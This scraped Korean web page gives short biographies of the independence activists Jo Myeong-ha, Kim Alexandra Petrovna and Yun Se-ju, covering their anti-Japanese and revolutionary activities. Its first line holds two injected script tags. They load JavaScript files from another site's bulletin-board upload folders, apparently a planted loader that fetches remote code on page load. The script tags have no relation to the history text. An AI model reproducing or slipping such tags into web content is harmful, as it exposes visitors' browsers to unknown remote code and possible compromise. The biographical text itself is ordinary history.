<SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/gallery/Cups.js></script> <SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/young/brod.js></script> 한말의 독립운동가. 조명하 선생

본관 함안
활동분야 독립운동
출생지 황해도 송화
주요수상 건국훈장 독립장(1963)
본관 함안(咸安). 황해도 송화(松禾) 출생. 가난하여 보통학교를 중퇴하고 군청의 고용원으로 있으면서 강의록으로 독학하였다. 1926년 일본으로 건너가 오사카[大阪] 전기회사·아다치[安達] 메리야스상점 등에서 고용원으로 일하면서 야간학교를 다닌 후 타이완[臺灣]으로 건너가 부국원(富國園)상점에서 일하였다.
1928년 일본왕족 구니노미야 구니히코[久邇宮邦彦]가 육군특명검열사로 타이완에 오자 타이중시[臺中市] 역전에서 환영하는 일본인 인파에 묻혔다가 달려들어 독검(毒劍)으로 구니노미야를 찔렀다. 현장에서 붙잡혀서 그후 사형되었으며, 이 때의 부상으로 구니노미야는 이듬해 1월 사망하였다. 1963년 건국훈장 독립장이 추서되었다.
\"\"\"구니노미야 구니히코(일왕 히로 히토(裕仁)의 장인)\"\"\"\"
일본 천황 장인을 처단했군......
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한말의 독립운동가. 김알렉산드리아 페드로프나 선생
김 알렉산드리아 페드로브나(女,이하 김알렉산드리아)는 연해주에서 한인2세로
태어났다. 그의 아버지는 함북 경흥 사람인데 1869년에 러시아로 이주하였고
철도건설공사장의 통역원으로 일했었다고 한다.
이후 부모를 모두 여읜 그녀는 어버지의 폴란드 친구 스탄케비치의 후원으로
성장하였고 스탄케비치의 아들과 결혼하였다.
니콜라스크사범학교에 진학하면서 러시아 짜르전제에 반대하는 러시아 혁명가들의
저작에 심취하였다. 1914년 볼세비키(러시아사회민주당) 예카체린부르크위원회에
가담하고 1917년 정식 당원이 되었다.
그가 유명해 진 것은 조선인과 중국인 노동자의 소송대리인이 되면서 부터이다.
1917년 러시아 2월 혁명이 일어난 직후 페름스크 대공장의 조선인 노동자들의
소송대리인이 되어 공장 책임자의 불법을 성토하는 등의 활동으로 소송을 승리로
이끌었고, 노동자들의 밀린 임금은 물론 수만원의 손해배상까지 받아냈다. 이
일로 그녀는 조선인, 중국인, 러시아인 노동자들 사이에 널리 명성이 알려지게
되었다.
이후 러시아 극동지방에서의 볼세비키 조직, 선전활동에 종사하면서(아마 그녀는
러시아 한인 중 최초로 볼세비키 고위층을 차지한 사람이라고 생각된다.당시
그녀는 극동인민위원회 외교부장 이였다고 한다) 이동휘와 함께 한인사회당을
조직하게 되었다.
그러나 백위군이 극동러시아를 장악하게 되면서 체포되어 우수리강변의 \'죽음의
골짜기\'에서 총살당하였다.
1967년 11월 하바로프스크에 그녀의 기념관이 건립되었으며, 처형장에는 추모탑이
건립되었다.

<사진설명: 김알렉산드리아와 남편. 남편과는 두명의 아들을 두었는데 이후
남편이 술과 도박에 빠지게 되어 사이가 멀어지게 되었다고 한다.>
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독립운동가 석정 윤세주 선생
석정 윤세주 열사는 독립운동가로 밀양출생으로 오성중학교를 마친 뒤 밀양에서 3·1운동을 주도하였다. 그 뒤 중국 만주(滿洲)로 망명해 지린성[吉林省]에서 김원봉(金元鳳)을 단장으로 한 의열단을 창립하였다.
1920년 조선총독부·매일신문사·동양척식회사에 대한 파괴공작을 수행하기 위해 국내에 잠입하였으나, 체포되어 7년형을 선고받았다. 32년 조선민족혁명간부학교 1기생으로 입학하였고, 33년 교관이 되어 사회과학 분야를 강의하면서 의열단의 국내활동을 지도하였다.
1932년 한국대일전선통일동맹에 참가하고, 35년 김원봉과 이를 한국민족혁명당으로 개편, 조직하여 중앙집행위원으로 있으면서 훈련부장 및 청년운동위원회 주임을 맡는 등 조직가로서의 능력을 발휘하였다.
1938년 통일된 항일무장부대인 조선의용대가 조직되자 훈련주임직을 맡았다. 그러나 사상적 변모로 인해 40년 김원봉과 결별하고 팔로군에 합류하였으며, 42년 랴오닝[遼寧] 마전전투에서 죽었다. 82년 건국훈장 국민장이 추서 되었다.